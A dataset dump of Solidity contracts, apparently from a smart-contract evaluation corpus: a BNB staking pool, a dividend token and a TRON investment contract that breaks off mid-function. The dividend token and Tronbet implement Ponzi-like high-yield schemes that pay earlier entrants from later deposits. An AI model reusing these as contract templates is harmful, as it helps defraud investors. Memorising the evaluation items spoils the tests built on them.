hash
stringlengths 64
64
| size
int64 7k
624k
| ext
stringclasses 1
value | lang
stringclasses 1
value | is_test
bool 2
classes | repo_id
stringclasses 846
values | repo_name
stringclasses 846
values | repo_head
stringclasses 846
values | repo_path
stringlengths 7
155
| content_tokens
int64 1.82k
42.6k
| content_chars
int64 6.85k
58.7k
| content
stringlengths 6.85k
58.7k
| __index_level_0__
int64 84
346k
| id
int64 0
14.2k
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
1bdbdd1bfab2a3dd5def8a7db7e9c3b9cbda38a82da8568aacd9b66cf7b64a27
| 13,817 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x3e109f5789EC0a31aA36670162822618fBbC6126/contract.sol
| 3,454 | 13,271 |
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Initializable {
bool private initialized;
bool private initializing;
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
function isConstructor() private view returns (bool) {
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
uint256[50] private ______gap;
}
contract CookiePool is Initializable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public depositToken;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
function initialize(address _token) public initializer {
depositToken = IERC20(_token);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function _stake(uint256 amount) internal {
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
depositToken.safeTransferFrom(msg.sender, address(this), amount);
}
function _withdraw(uint256 amount) internal {
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
depositToken.safeTransfer(msg.sender, amount);
}
}
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
contract CookieWBNB is CookiePool {
IERC20 public degenToken;
uint256 public halvingPeriod = 259200;
uint256 public totalreward;
uint256 public starttime;
uint256 public stakingtime;
uint256 public eraPeriod = 0;
uint256 public rewardRate = 0;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
uint256 public totalRewards = 0;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
constructor(address _depositToken, address _degenToken, uint256 _totalreward, uint256 _starttime, uint256 _stakingtime) public {
super.initialize(_depositToken);
degenToken = IERC20(_degenToken);
starttime = _starttime;
stakingtime = _stakingtime;
notifyRewardAmount(_totalreward.mul(50).div(100));
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, eraPeriod);
}
function rewardPerToken() public view returns (uint256) {
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(lastTimeRewardApplicable()
.sub(lastUpdateTime)
.mul(rewardRate)
.mul(1e18)
.div(totalSupply()));
}
function earned(address account) public view returns (uint256) {
return
balanceOf(account)
.mul(rewardPerToken().sub(userRewardPerTokenPaid[account]))
.div(1e18)
.add(rewards[account]);
}
function stake(uint256 amount) public updateReward(msg.sender) checkhalve checkStart{
require(amount > 0, "ERROR: Cannot stake 0 Tether");
super._stake(amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public updateReward(msg.sender) checkhalve checkStart{
require(amount > 0, "ERROR: Cannot withdraw 0 Tether");
super._withdraw(amount);
emit Withdrawn(msg.sender, amount);
}
function exit() external stakingTime{
withdraw(balanceOf(msg.sender));
getReward();
}
function getReward() public updateReward(msg.sender) checkhalve checkStart stakingTime{
uint256 reward = earned(msg.sender);
if (reward > 0) {
rewards[msg.sender] = 0;
degenToken.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
totalRewards = totalRewards.add(reward);
}
}
modifier checkhalve(){
if (block.timestamp >= eraPeriod) {
totalreward = totalreward.mul(50).div(100);
rewardRate = totalreward.div(halvingPeriod);
eraPeriod = block.timestamp.add(halvingPeriod);
emit RewardAdded(totalreward);
}
_;
}
modifier checkStart(){
require(block.timestamp > starttime,"ERROR: Not start");
_;
}
modifier stakingTime(){
require(block.timestamp >= stakingtime,"ERROR: Withdrawals open after 24 hours from the beginning");
_;
}
function notifyRewardAmount(uint256 reward)
internal
updateReward(address(0))
{
if (block.timestamp >= eraPeriod) {
rewardRate = reward.div(halvingPeriod);
} else {
uint256 remaining = eraPeriod.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.add(leftover).div(halvingPeriod);
}
totalreward = reward;
lastUpdateTime = block.timestamp;
eraPeriod = block.timestamp.add(halvingPeriod);
emit RewardAdded(reward);
}
}
| 251,567 | 10,500 |
6ccf8dd5a6a94b3760a675aee69ce64c69c70b56eca44eb9a1873d3fadb5bb10
| 22,314 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x7faccccdcaa140b28a2ae9331f0b2805ce0831a9.sol
| 4,259 | 16,461 |
pragma solidity ^0.4.21;
contract PowerofBubble {
// only people with tokens
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
// only people with profits
modifier onlyStronghands() {
require(myDividends(true) > 0);
_;
}
// ensures that the first tokens in the contract will be equally distributed
// meaning, no divine dump will be ever possible
// result: healthy longevity.
modifier antiEarlyWhale(uint256 _amountOfEthereum){
address _customerAddress = msg.sender;
// are we still in the vulnerable phase?
// if so, enact anti early whale protocol
if(onlyDevs && ((totalEthereumBalance() - _amountOfEthereum) <= devsQuota_)){
require(// is the customer in the ambassador list?
developers_[_customerAddress] == true &&
// does the customer purchase exceed the max ambassador quota?
(devsAccumulatedQuota_[_customerAddress] + _amountOfEthereum) <= devsMaxPurchase_);
// updated the accumulated quota
devsAccumulatedQuota_[_customerAddress] = SafeMath.add(devsAccumulatedQuota_[_customerAddress], _amountOfEthereum);
// execute
_;
} else {
// in case the ether count drops low, the ambassador phase won't reinitiate
onlyDevs = false;
_;
}
}
event onTokenPurchase(address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy);
event onTokenSell(address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned);
event onReinvestment(address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted);
event onWithdraw(address indexed customerAddress,
uint256 ethereumWithdrawn);
// ERC20
event Transfer(address indexed from,
address indexed to,
uint256 tokens);
string public name = "Power of Bubble";
string public symbol = "POB";
uint8 constant public decimals = 18;
uint8 constant internal dividendFee_ = 25;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2**64;
// proof of stake (defaults at 30 tokens)
uint256 public stakingRequirement = 30e18;
// Developer program
mapping(address => bool) internal developers_;
uint256 constant internal devsMaxPurchase_ = 0.3 ether;
uint256 constant internal devsQuota_ = 0.1 ether;
// amount of shares for each address (scaled number)
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => uint256) internal devsAccumulatedQuota_;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
bool public onlyDevs = true;
function PowerofBubble()
public
{
// add developers here
developers_[0xE18e877A0e35dF8f3d578DacD252B8435318D027] = true;
developers_[0xD6d3955714C8ffdc3f236e66Af065f2E9B10706a] = true;
}
function buy(address _referredBy)
public
payable
returns(uint256)
{
purchaseTokens(msg.value, _referredBy);
}
function()
payable
public
{
purchaseTokens(msg.value, 0x0);
}
function reinvest()
onlyStronghands()
public
{
// fetch dividends
uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code
// pay out the dividends virtually
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// retrieve ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// dispatch a buy order with the virtualized "withdrawn dividends"
uint256 _tokens = purchaseTokens(_dividends, 0x0);
// fire event
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit()
public
{
// get token count for caller & sell them all
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
// lambo delivery service
withdraw();
}
function withdraw()
onlyStronghands()
public
{
// setup data
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false); // get ref. bonus later in the code
// update dividend tracker
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// add ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// lambo delivery service
_customerAddress.transfer(_dividends);
// fire event
emit onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens)
onlyBagholders()
public
{
// setup data
address _customerAddress = msg.sender;
// russian hackers BTFO
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
// update dividends tracker
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
// dividing by zero is a bad idea
if (tokenSupply_ > 0) {
// update the amount of dividends per token
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
// fire event
emit onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
function transfer(address _toAddress, uint256 _amountOfTokens)
onlyBagholders()
public
returns(bool)
{
// setup
address _customerAddress = msg.sender;
// make sure we have the requested tokens
// also disables transfers until ambassador phase is over
// (wedont want whale premines)
require(!onlyDevs && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
// withdraw all outstanding dividends first
if(myDividends(true) > 0) withdraw();
// liquify 10% of the tokens that are transfered
// these are dispersed to shareholders
uint256 _tokenFee = SafeMath.div(_amountOfTokens, dividendFee_);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
// burn the fee tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
// disperse dividends among holders
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
// fire event
emit Transfer(_customerAddress, _toAddress, _taxedTokens);
// ERC20
return true;
}
function totalEthereumBalance()
public
view
returns(uint)
{
return this.balance;
}
function totalSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus)
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ?dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress)
view
public
returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0)
{
return tokenPriceInitial_ - tokenPriceIncremental_;
}
else
{
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
uint256 _dividends = SafeMath.div(_ethereumToSpend, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy)
antiEarlyWhale(_incomingEthereum)
internal
returns(uint256)
{
// data setup
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(_incomingEthereum, dividendFee_);
uint256 _referralBonus = SafeMath.div(_undividedDividends, 3);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
// no point in continuing execution if OP is a poorfagrussian hacker
// (or hackers)
// and yes we know that the safemath function automatically rules out the "greater then" equasion.
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
// is the user referred by a masternode?
if(// is this a referred purchase?
_referredBy != 0x0000000000000000000000000000000000000000 &&
// no cheating!
_referredBy != _customerAddress&&
// does the referrer have at least X whole tokens?
// i.e is the referrer a godly chad masternode
tokenBalanceLedger_[_referredBy] >= stakingRequirement){
// wealth redistribution
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
// no ref purchase
// add the referral bonus back to the global dividends cake
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
// we can't give people infinite ethereum
if(tokenSupply_ > 0){
// add tokens to the pool
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
// calculate the amount of tokens the customer receives over his purchase
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
// add tokens to the pool
tokenSupply_ = _amountOfTokens;
}
// update circulating supply & the ledger address for the customer
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them;
//really i know you think you do but you don't
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
// fire event
emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy);
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum)
internal
view
returns(uint256)
{
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
((// underflow attempts BTFO
SafeMath.sub((sqrt
((_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_))), _tokenPriceInitial))/(tokenPriceIncremental_))-(tokenSupply_)
;
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens)
internal
view
returns(uint256)
{
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(// underflow attempts BTFO
SafeMath.sub((((tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply/1e18)))-tokenPriceIncremental_)*(tokens_ - 1e18)),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2)
/1e18);
return _etherReceived;
}
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 211,637 | 10,501 |
b24ae7def0a64394089ef99fe20e4556606d3a18f8d9e96027083816a2fec536
| 21,308 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TR/TRzMnmV4KXuAFcaW9Ym83neAADd5DJjqJD_Tronbet.sol
| 6,551 | 20,753 |
//SourceUnit: tronbet.sol
pragma solidity ^0.4.25;
contract Tronbet
{
struct Deposit {
Tariff tariff;
uint256 amount;
uint256 date;
bool isExpired;
bool isEndPlan;
uint256 endTime;
uint256 withdraw;
uint256 lastPaidDate;
}
struct Tariff {
uint256 id;
uint256 time;
uint256 percent;
}
struct Reward {
bool[12] rewards;
uint256[12] counts;
uint256[12] amounts;
uint256 amountReward;
uint256 totalReward;
}
struct Referral {
uint256 level;
uint256 percent;
uint256 count;
}
struct BonusDay{
address addr;
uint256 bonus;
uint256 day;
}
struct Investor {
bool registered;
address referer;
Referral[] referrals;
uint256 balanceRef;
uint256 totalRef;
Deposit[] deposits;
uint256 invested;
uint256 twithdraw;
Reward reward;
uint256[5] amounts;
}
uint256 private constant MIN_DEPOSIT = 100000000;
uint256 private constant START_AT =1602082800;
uint256 private constant OWNER_RATE = 3;
uint256 private constant ADMIN_RATE = 2;
uint256 private constant MARKETING_RATE = 5;
address private owner = msg.sender;
address private admin;
address private marketing;
address private defaultReference;
Tariff[] private tariffs;
uint256 public totalInvestors;
uint256 public first50Investors;
uint256 public totalInvested;
uint256 public totalRefRewards;
BonusDay public bonusDay;
BonusDay public lastBonusDay;
bool[12] _rewards =[false,false,false,false,false,false,false,false,false,false,false,false];
uint256[12] _counts =[0,0,0,0,0,0,0,0,0,0,0,0];
uint256[12] _amounts =[0,0,0,0,0,0,0,0,0,0,0,0];
mapping (address => Investor) public investors;
event WinnerBonus(address user,uint256 amount);
event UpdateBonus(address user,uint256 amount);
constructor(address _admin, address _marketing, address _df) public {
admin = _admin;
marketing = _marketing;
defaultReference = _df;
tariffs.push(Tariff(0, 25*60*60*24, 125));
tariffs.push(Tariff(1, 27*60*60*24, 130));
tariffs.push(Tariff(2, 29*60*60*24, 134));
tariffs.push(Tariff(3, 32*60*60*24, 141));
bonusDay.addr = defaultReference;
bonusDay.bonus = 0;
bonusDay.day = block.timestamp / 1 days;
lastBonusDay = bonusDay;
}
function getUserReferrals(address user) public view returns (uint256[] memory levels , uint256[] memory percents ,uint256[] memory counts){
levels = new uint256[](investors[user].referrals.length);
percents = new uint256[](investors[user].referrals.length);
counts = new uint256[](investors[user].referrals.length);
for (uint256 i = 0; i <investors[user].referrals.length; i++) {
levels[i] = investors[user].referrals[i].level;
percents[i] = investors[user].referrals[i].percent;
counts[i] = investors[user].referrals[i].count;
}
return (levels,percents,counts);
}
function cleanAmountReward() private {
for (uint256 i = 0; i < investors[msg.sender].reward.rewards.length; i++) {
if (investors[msg.sender].reward.rewards[i]) {
investors[msg.sender].reward.amounts[i] = 0;
}
}
}
function rewardsDeposit(address user,uint256 depId) internal {
if (investors[user].deposits[depId].amount >= 15000000000 && !investors[user].reward.rewards[0]) {
investors[user].reward.rewards[0] = true;
investors[user].reward.amounts[0] = investors[user].deposits[depId].amount * 5 / 100;
investors[user].reward.amountReward += investors[user].reward.amounts[0];
investors[user].reward.counts[0]++;
}
if (investors[user].deposits[depId].amount >= 7000000000 && investors[user].deposits[depId].amount < 15000000000 && !investors[user].reward.rewards[1]) {
investors[user].reward.counts[1]++;
investors[user].amounts[0] += investors[user].deposits[depId].amount;
if (investors[user].reward.counts[1] == 2) {
investors[user].reward.rewards[1] = true;
investors[user].reward.amounts[1] = investors[user].amounts[0] * 4 / 100;
investors[user].reward.amountReward += investors[user].reward.amounts[1];
}
}
if (investors[user].deposits[depId].amount >= 4000000000 && investors[user].deposits[depId].amount < 7000000000 && !investors[user].reward.rewards[2]) {
investors[user].reward.counts[2]++;
investors[user].amounts[1] += investors[user].deposits[depId].amount;
if (investors[user].reward.counts[2] == 3) {
investors[user].reward.rewards[2] = true;
investors[user].reward.amounts[2] = investors[user].amounts[1] * 3 / 100;
investors[user].reward.amountReward += investors[user].reward.amounts[2];
}
}
if (investors[user].deposits[depId].amount >= 2000000000 && investors[user].deposits[depId].amount < 4000000000 && !investors[user].reward.rewards[3]) {
investors[user].reward.counts[3]++;
investors[user].amounts[2] += investors[user].deposits[depId].amount;
if (investors[user].reward.counts[3] == 4) {
investors[user].reward.rewards[3] = true;
investors[user].reward.amounts[3] = investors[user].amounts[2] * 2 / 100;
investors[user].reward.amountReward += investors[user].reward.amounts[3];
}
}
if (investors[user].deposits[depId].amount >= 1000000000 && investors[user].deposits[depId].amount < 2000000000 && !investors[user].reward.rewards[4]) {
investors[user].reward.counts[4]++;
investors[user].amounts[3] += investors[user].deposits[depId].amount;
if (investors[user].reward.counts[4] == 5) {
investors[user].reward.rewards[4] = true;
investors[user].reward.amounts[4] = investors[user].amounts[3] * 1 / 100;
investors[user].reward.amountReward += investors[user].reward.amounts[4];
}
}
if (investors[user].deposits[depId].amount >= 500000000 && investors[user].deposits[depId].amount < 1000000000 && !investors[user].reward.rewards[5]) {
investors[user].reward.counts[5]++;
investors[user].amounts[4] += investors[user].deposits[depId].amount;
if (investors[user].reward.counts[5] == 6) {
investors[user].reward.rewards[5] = true;
investors[user].reward.amounts[5] = investors[user].amounts[4] * 5 / 1000;
investors[user].reward.amountReward += investors[user].reward.amounts[5];
}
}
}
function rewardsReffer(address user) internal {
if (investors[user].referrals[0].count + investors[user].referrals[1].count >= 10 && !investors[user].reward.rewards[9]) {
investors[user].reward.rewards[9] = true;
for (uint256 j = 0; j < investors[user].referrals.length; j++) {
investors[user].referrals[j].percent +=1;
}
}
if (investors[user].referrals[0].count + investors[user].referrals[1].count >= 15 && !investors[user].reward.rewards[10]) {
investors[user].reward.rewards[10] = true;
investors[user].referrals.push(Referral(5,1,0));
}
}
function rewardsTotalPlan(address user,uint256 depId) internal {
if (block.timestamp >= investors[user].deposits[depId].endTime && investors[user].deposits[depId].withdraw == 0) {
if (!investors[user].deposits[depId].isEndPlan) {
investors[user].reward.rewards[7]=true;
investors[user].reward.counts[7]++;
uint256 amount=0;
uint256 tariff= investors[user].deposits[depId].tariff.id;
if (tariff == 0) {
amount = investors[user].deposits[depId].amount * 25 / 100;
}else if (tariff == 1) {
amount = investors[user].deposits[depId].amount * 35 / 100;
}else if (tariff == 2) {
amount = investors[user].deposits[depId].amount * 45 / 100;
}else if (tariff == 3) {
amount = investors[user].deposits[depId].amount * 55 / 100;
}
investors[user].reward.amounts[7] += amount;
investors[user].reward.amountReward += amount;
investors[user].deposits[depId].isEndPlan = true;
}
}
}
function rewardsBestPlan(address user) internal {
if ((investors[user].reward.rewards[0] || investors[user].reward.rewards[1] || investors[user].reward.rewards[2])
&& investors[user].reward.rewards[9] && investors[user].reward.rewards[10] && investors[user].reward.rewards[6] && investors[user].reward.rewards[7] && investors[user].reward.rewards[8] && !investors[user].reward.rewards[11]) {
uint256 amount=0;
